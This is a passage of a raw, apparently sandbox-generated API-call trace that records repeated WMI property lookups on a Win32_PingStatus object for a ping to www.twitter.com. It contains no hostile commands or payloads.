[0161.571] SysStringByteLen (bstr="__PATH") returned 0xc [0161.572] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d9628*=0, plFlavor=0x25d962c*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25d9628*=3, plFlavor=0x25d962c*=64) returned 0x0 [0161.572] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d965c*=0, plFlavor=0x25d9660*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25d965c*=8, plFlavor=0x25d9660*=64) returned 0x0 [0161.572] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.572] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.572] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d96b4*=0, plFlavor=0x25d96b8*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d96b4*=8, plFlavor=0x25d96b8*=64) returned 0x0 [0161.572] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d96dc*=0, plFlavor=0x25d96e0*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25d96dc*=8, plFlavor=0x25d96e0*=64) returned 0x0 [0161.573] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.573] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.573] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d9734*=0, plFlavor=0x25d9738*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25d9734*=8, plFlavor=0x25d9738*=64) returned 0x0 [0161.573] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.573] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.573] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d9910*=0, plFlavor=0x25d9914*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25d9910*=3, plFlavor=0x25d9914*=64) returned 0x0 [0161.573] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d9944*=0, plFlavor=0x25d9948*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8afd0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25d9944*=8200, plFlavor=0x25d9948*=64) returned 0x0 [0161.574] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d9978*=0, plFlavor=0x25d997c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25d9978*=8, plFlavor=0x25d997c*=64) returned 0x0 [0161.574] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.574] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0161.574] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0161.574] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.574] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0161.574] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0161.574] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.574] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0161.574] SafeArrayGetDim (psa=0x5f8af70) returned 0x1 [0161.575] SafeArrayGetDim (psa=0x5f8af70) returned 0x1 [0161.575] SafeArrayGetLBound (in: psa=0x5f8af70, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0161.575] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.575] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.575] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.575] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.575] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.575] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.575] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.575] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.575] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.575] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.575] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.575] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.575] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.575] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.575] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.575] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.576] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.576] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.576] SysStringByteLen (bstr="__PATH") returned 0xc [0161.576] SysStringByteLen (bstr="__PATH") returned 0xc [0161.576] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d9d58*=0, plFlavor=0x25d9d5c*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25d9d58*=3, plFlavor=0x25d9d5c*=64) returned 0x0 [0161.576] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d9d8c*=0, plFlavor=0x25d9d90*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25d9d8c*=8, plFlavor=0x25d9d90*=64) returned 0x0 [0161.576] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.576] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.576] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d9de4*=0, plFlavor=0x25d9de8*=0 | out: pVal=0x5bde88c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d9de4*=8, plFlavor=0x25d9de8*=64) returned 0x0 [0161.577] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d9e0c*=0, plFlavor=0x25d9e10*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25d9e0c*=8, plFlavor=0x25d9e10*=64) returned 0x0 [0161.577] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.577] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.577] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25d9e64*=0, plFlavor=0x25d9e68*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25d9e64*=8, plFlavor=0x25d9e68*=64) returned 0x0 [0161.577] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.577] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.577] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da04c*=0, plFlavor=0x25da050*=0 | out: pVal=0x5bde88c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25da04c*=3, plFlavor=0x25da050*=64) returned 0x0 [0161.578] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da080*=0, plFlavor=0x25da084*=0 | out: pVal=0x5bde88c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8b000*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25da080*=8200, plFlavor=0x25da084*=64) returned 0x0 [0161.578] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde88c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da0b4*=0, plFlavor=0x25da0b8*=0 | out: pVal=0x5bde88c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25da0b4*=8, plFlavor=0x25da0b8*=64) returned 0x0 [0161.578] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.578] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.578] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde980*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da0b4*=8, plFlavor=0x25da0b8*=64 | out: pVal=0x5bde980*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25da0b4*=8, plFlavor=0x25da0b8*=64) returned 0x0 [0161.578] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.578] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.579] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0161.579] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0161.579] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.579] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde860 | out: puCount=0x5bde860*=0x2) returned 0x0 [0161.579] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0x0, pszText=0x0 | out: puBuffLength=0x5bde85c*=0xf, pszText=0x0) returned 0x0 [0161.579] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde85c*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde85c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.579] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde868*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde85c | out: pNames=0x5bde85c*="\x01ƀ\x04") returned 0x0 [0161.579] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0161.579] SafeArrayGetDim (psa=0x5f8afd0) returned 0x1 [0161.579] SafeArrayGetLBound (in: psa=0x5f8afd0, nDim=0x1, plLbound=0x5bde6f4 | out: plLbound=0x5bde6f4) returned 0x0 [0161.579] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.579] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.579] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.579] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.579] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.579] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.579] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.579] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.580] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.580] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.580] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.580] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.580] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.580] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.580] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.580] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.580] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.580] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0161.580] SysStringByteLen (bstr="__PATH") returned 0xc [0161.580] SysStringByteLen (bstr="__PATH") returned 0xc [0161.580] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__GENUS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da5d4*=0, plFlavor=0x25da5d8*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x25da5d4*=3, plFlavor=0x25da5d8*=64) returned 0x0 [0161.580] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__CLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da608*=0, plFlavor=0x25da60c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25da608*=8, plFlavor=0x25da60c*=64) returned 0x0 [0161.580] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.581] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.581] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SUPERCLASS", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da660*=0, plFlavor=0x25da664*=0 | out: pVal=0x5bde858*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da660*=8, plFlavor=0x25da664*=64) returned 0x0 [0161.581] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DYNASTY", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da688*=0, plFlavor=0x25da68c*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x25da688*=8, plFlavor=0x25da68c*=64) returned 0x0 [0161.581] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.581] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0161.581] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__RELPATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da6e0*=0, plFlavor=0x25da6e4*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25da6e0*=8, plFlavor=0x25da6e4*=64) returned 0x0 [0161.581] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.581] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a6 [0161.581] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da8bc*=0, plFlavor=0x25da8c0*=0 | out: pVal=0x5bde858*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x25da8bc*=3, plFlavor=0x25da8c0*=64) returned 0x0 [0161.581] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__DERIVATION", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da8f0*=0, plFlavor=0x25da8f4*=0 | out: pVal=0x5bde858*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5f8af10*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5fc3dd0, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x25da8f0*=8200, plFlavor=0x25da8f4*=64) returned 0x0 [0161.582] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__SERVER", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da924*=0, plFlavor=0x25da928*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x25da924*=8, plFlavor=0x25da928*=64) returned 0x0 [0161.582] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.582] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0161.582] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__NAMESPACE", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da970*=0, plFlavor=0x25da974*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x25da970*=8, plFlavor=0x25da974*=64) returned 0x0 [0161.582] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.582] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0161.582] IWbemClassObject:Get (in: This=0x5f765d8, wszName="__PATH", lFlags=0, pVal=0x5bde858*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25da9bc*=0, plFlavor=0x25da9c0*=0 | out: pVal=0x5bde858*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x25da9bc*=8, plFlavor=0x25da9c0*=64) returned 0x0 [0161.582] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.582] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.twitter.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d6 [0161.582] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde89c | out: puCount=0x5bde89c*=0x2) returned 0x0 [0161.582] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0x0, pszText=0x0 | out: puBuffLength=0x5bde898*=0xf, pszText=0x0) returned 0x0 [0161.583] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde898*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde898*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.583] IWbemClassObject:Get (in: This=0x5f765d8, wszName="Address", lFlags=0, pVal=0x5bde898*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x25dabf4*=0, plFlavor=0x25dabf8*=0 | out: pVal=0x5bde898*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.twitter.com", varVal2=0x0), pType=0x25dabf4*=8, plFlavor=0x25dabf8*=0) returned 0x0 [0161.583] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.583] SysStringByteLen (bstr="www.twitter.com") returned 0x1e [0161.583] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0161.583] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0161.583] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.583] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x5df070, puCount=0x5bde894 | out: puCount=0x5bde894*=0x2) returned 0x0 [0161.583] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0x0, pszText=0x0 | out: puBuffLength=0x5bde890*=0xf, pszText=0x0) returned 0x0 [0161.583] WbemDefPath:IWbemPath:GetText (in: This=0x5df070, lFlags=4, puBuffLength=0x5bde890*=0xf, pszText="00000000000000" | out: puBuffLength=0x5bde890*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0161.583] IWbemClassObject:GetNames (in: This=0x5f765d8, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x5bde89c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x5bde890 | out: pNames=0x5bde890*="\x01ƀ\x04") returned 0x0 [0161.583] SafeArrayGetDim (psa=0x5f8b000) returned 0x1 [0161.583] SafeArrayGetDim (psa=0x5f8b000) returned 0x1 [0161.583] SafeArrayGetLBound (in: psa=0x5f8b000, nDim=0x1, plLbound=0x5bde728 | out: plLbound=0x5bde728) returned 0x0 [0161.583] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.583] SysStringByteLen (bstr="__GENUS") returned 0xe [0161.583] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.584] SysStringByteLen (bstr="__CLASS") returned 0xe [0161.584] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.584] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0161.584] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.584] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0161.584] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.584] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0161.584] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.584] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0161.584] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.584] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0161.584] SysStringByteLen (bstr="__SERVER") returned 0x10 [0161.584] SysStringByteLen 